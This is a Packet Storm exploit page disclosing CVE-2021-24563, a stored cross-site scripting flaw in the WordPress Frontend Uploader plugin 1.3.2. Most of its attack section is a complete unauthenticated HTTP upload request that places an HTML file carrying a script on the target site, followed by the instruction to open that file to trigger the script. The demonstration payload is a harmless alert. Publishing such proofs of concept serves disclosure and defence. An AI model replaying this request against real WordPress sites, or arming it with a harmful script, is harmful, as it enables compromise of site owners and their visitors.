what you don't know can hurt you

WordPress Frontend Uploader 1.3.2 Cross Site Scripting

WordPress Frontend Uploader 1.3.2 Cross Site Scripting
Posted Jan 12, 2022
Authored by Veshraj Ghimire

WordPress Frontend Uploader plugin version 1.3.2 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2021-24563
SHA-256 | 31fdddd89c8c546e099a752449bf6d534e404e26ed3609d80d15dbb37db02350

WordPress Frontend Uploader 1.3.2 Cross Site Scripting

Change Mirror Download
# Exploit Title: WordPress Plugin Frontend Uploader 1.3.2 - Stored Cross Site Scripting (XSS) (Unauthenticated)
# Date: 10/01/2022
# Exploit Author: Veshraj Ghimire
# Vendor Homepage: https://wordpress.org/plugins/frontend-uploader/
# Software Link: https://plugins.trac.wordpress.org/browser/frontend-uploader/
# Version: 1.3.2
# Tested on: Windows 10 - Chrome, WordPress 5.8.2
# CVE : CVE-2021-24563

# References:

https://www.youtube.com/watch?v=lfrLoHl4-Zs
https://wpscan.com/vulnerability/e53ef41e-a176-4d00-916a-3a03835370f1

# Description:

The plugin does not prevent HTML files from being uploaded via its form, allowing unauthenticated user to upload a malicious HTML file containing JavaScript for example, which will be triggered when someone access the file directly


# Proof Of Concept:


POST /wp-admin/admin-ajax.php HTTP/1.1

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;
boundary=---------------------------124662954015823207281179831654

Content-Length: 1396

Connection: close

Upgrade-Insecure-Requests: 1


-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="post_ID"


1247

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="post_title"


test

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="post_content"


test

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="files[]"; filename="xss.html"

Content-Type: text/html


<script>alert(/XSS/)</script>

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="action"


upload_ugc

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="form_layout"


image

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="fu_nonce"


021fb612f9

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="_wp_http_referer"


/wordpress/frontend-uploader-form/

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="ff"


92b6cbfa6120e13ff1654e28cef2a271

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="form_post_id"


1247

-----------------------------124662954015823207281179831654--



Then access the uploaded to trigger the XSS, ie https://example.com/wp-content/uploads/2021/07/xss.html
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close